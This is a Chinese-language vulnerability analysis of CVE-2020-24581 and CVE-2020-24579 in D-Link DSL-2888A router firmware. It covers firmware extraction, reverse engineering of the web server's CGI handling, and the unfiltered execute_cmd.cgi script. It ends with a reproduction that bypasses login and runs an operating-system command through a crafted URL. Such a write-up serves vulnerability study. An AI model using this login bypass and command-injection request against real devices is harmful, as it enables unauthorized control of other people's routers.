CVE-2020-24581 + CVE-2020-24579
漏洞介绍:
在 AU_2.31_V1.1.47ae55 之前固件的 D-Link DSL-2888A 设备上发现了一个问题。它包含一个 execute_cmd.cgi 功能(无法通过 Web 用户界面访问),该功能允许经过身份验证的用户执行操作系统命令。
D-Link DSL-2888A
固件获取:
https://www.dlink.com.sg/dsl-2888a/#firmware
固件提取:
binwalk -Me DSL-2888A_AU_2.12_V1.1.47Z1-Image-all.bin
提取获得jffs2格式的文件系统
漏洞分析:
由于此漏洞需要由web服务触发==》
需要先了解固件中组件的位置==》路由器开机自启脚本:/etc/rc.d/rcS
启动了dhttpd==》/usr/sbin/dhttpd
对dhttpd进行分析:
漏洞点发生于execute_cmd.cgi ==》需要知道怎么执行至execute_cmd.cgi
execute_cmd.cgi :
在cgi-bin组件中
静态分析:
通过对cgi-bin字符串搜索:
查看交叉引用:
此处所在函数:sub_9C4C
==》该处加载了goform,cgi-bin等多种组件
查看调用sub_9C4C函数的函数:sub_9F24
sub_BEA0函数
首先是使用cgi-bin:
函数会将要访问的文件和cgi-bin拼接成一个可以访问的路径==》
53行判断该cgi是否存在==》63行判断该cgi是否有可执行权限==》
在确定获取路径中要执行的文件后,将当前目录更改为文件存在的目录
又一次使用cgi-bin:
首先为v22申请一个空间,其中存放文件执行的环境变量
sub_B934:申请空间
a1 = 256
if a1:
a1 = (a1-1) >> 4
print(a1)
v2 = 0
while a1:
v2 = v2 + 1
a1 >>= 1
print(v2)
v3 = 1 << (v2 + 4)
print(v3)
15
4
256
接下来运行至sub_BB5C:
该函数调用了路径,环境变量等重要参数,并且进行execve来执行文件==》:
sub_BEA0函数总结
只要登陆了设备,就可以执行cgi-bin下的任意文件,且没有对文件做出任何限制
分析execute_cmd.cgi
#!/bin/sh
. /usr/syscfg/api_log.sh
cmd=`echo ${QUERY_STRING} | cut -d = -f 3` #取出cmd=后面的内容
cmd=`echo ${cmd} |tr "%20" " "` #将%02转化为空格
result=`${cmd}` #运行命令
TGP_Log ${TGP_LOG_WARNING} "cmd=${cmd}, result=${result}"
echo "Content-type: text/html"
echo ""
echo -n ${result}
===》获取QUERY_STRING的值,在没有对参数进行过滤的情况下进行运行
在dhttpd中搜索QUERY_STRING:
==》查看引用sub_144B4:
通过一番搜索:
在js/ajax.js中发现该字符串:
在ajax.js中拼接好字符串,再发送至dhttpd中进行处理
复现:
漏洞介绍中需要用到绕过身份验证:
在路由器登陆界面随便输入密码,进行登录
此时会重定向至http://xxxx/page/login/login.html?error=fail
根据ajax.js中的拼接进行命令执行
1、http:/xxx/
2、http:/xxx/cgi-bin/execute_cmd.cgi?timestamp=exp&cmd=uname -a